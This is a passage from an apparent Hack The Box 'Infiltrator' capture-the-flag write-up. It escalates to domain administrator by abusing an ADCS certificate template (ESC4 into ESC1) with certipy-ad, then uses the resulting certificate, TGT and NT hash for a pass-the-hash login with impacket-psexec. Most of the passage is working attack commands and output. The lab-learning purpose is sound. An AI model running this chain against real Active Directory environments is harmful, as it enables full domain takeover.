"Display Name": "Infiltrator_Template",
"Certificate Authorities": [
"infiltrator-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"PublishToDs",
"PendAllRequests",
"IncludeSymmetricAlgorithms"
],
"Private Key Flag": [
"ExportableKey"
],
"Extended Key Usage": [
"Smart Card Logon",
"Server Authentication",
"KDC Authentication",
"Client Authentication"
],
"Requires Manager Approval": true,
"Requires Key Archival": false,
"Authorized Signatures Required": 1,
"Validity Period": "99 years",
"Renewal Period": "650430 hours",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Object Control Permissions": {
"Owner": "INFILTRATOR.HTB\\Local System",
"Full Control Principals": [
"INFILTRATOR.HTB\\Domain Admins",
"INFILTRATOR.HTB\\Enterprise Admins",
"INFILTRATOR.HTB\\Local System"
],
"Write Owner Principals": [
"INFILTRATOR.HTB\\infiltrator_svc",
"INFILTRATOR.HTB\\Domain Admins",
"INFILTRATOR.HTB\\Enterprise Admins",
"INFILTRATOR.HTB\\Local System"
],
"Write Dacl Principals": [
"INFILTRATOR.HTB\\infiltrator_svc",
"INFILTRATOR.HTB\\Domain Admins",
"INFILTRATOR.HTB\\Enterprise Admins",
"INFILTRATOR.HTB\\Local System"
],
"Write Property Principals": [
"INFILTRATOR.HTB\\infiltrator_svc",
"INFILTRATOR.HTB\\Domain Admins",
"INFILTRATOR.HTB\\Enterprise Admins",
"INFILTRATOR.HTB\\Local System"
]
}
},
"[!] Vulnerabilities": {
"ESC4": "'INFILTRATOR.HTB\\\\infiltrator_svc' has dangerous permissions"
}
}
ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1. The attack can be referred to this link.
Therefore, we can use Certipy to complete the rest of the attack.
Make Template Vuln to ESC1:
Specify the -save-old
parameter to save the old configuration, which will be useful for restoring the configuration after our attack (or not in a CTF scenario):
certipy-ad template -u '[email protected]' -hashes '9ae7de3743▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒' -template 'Infiltrator_Template' -save-old
Since we have write priv on the target template, modify it to vulnerable for ESC1 (Enterprise CA Privilege Escalation):

ESC1 (Enterprise CA Security Control 1) is a well-known vulnerability in Active Directory Certificate Services (ADCS) that allows attackers to escalate their privileges in a Windows domain environment by exploiting misconfigurations in certificate templates.
Exploit ESC1: Request a Certificate for Admin:
certipy-ad req -u '[email protected]' -hashes '9ae7de37▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒' -target dc01.infiltrator.htb -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn '[email protected]'
-target dc01.infiltrator.htb
: N.B. This time our target is the Domain Controller.-ca 'infiltrator-DC01-CA'
: The name of the Certificate Authority.-upn '[email protected]'
: This is a critical part—request the certificate for the Administrator account, which will allow us to impersonate it.

Use Certificate to Authenticate:
With the generated PFX certificate last step, use it to authenticate ourselves:
certipy-ad auth -pfx administrator.pfx -domain 'infiltrator.htb' -dc-ip 10.10.11.31
We have both the TGT ticket and NT hash now:

Remote Log On:
Now we have TGT & NT hash, we can use them to remote logon as administrator in different ways. Since still cannot remote logon using Evil-winrm directly, but we can use the same method we did for m.harris to sign in using TGT, sepcifying the realm. Because we can see that DC has CanPSRemote
priv and an active session to Administrater.
The NT hash works fine as well and since there's no AV detected, we can use Psexec or Wmiexec to remote logon the machine:
impacket-psexec -hashes ':1356f502d2▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒' [email protected]

Root.
Comments | NOTHING